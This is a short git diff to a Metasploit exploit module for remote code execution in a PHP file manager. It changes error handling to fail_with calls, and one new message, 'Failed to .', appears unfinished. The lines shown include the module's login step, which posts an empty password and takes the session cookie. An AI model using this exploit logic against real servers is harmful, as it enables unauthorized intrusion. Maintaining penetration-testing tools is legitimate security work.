diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index 928eebbe18..1829e9076a 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -82,13 +82,13 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => uri, 'vars_post' => { 'frame' => '3', - 'pass' => '' # yep this should be empty + 'pass' => '' # yep this should be empty } }) if res.nil? vprint_error("#{peer} - Connection timed out") - return :abort + fail_with(Failure::Unknown, "Failed to .") end location = res.headers['Location'] @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies cookie else - vprint_error("#{peer} - Error entering the file manager") + fail_with(Failure::Unknown, "#{peer} - Error entering the file manager") return end end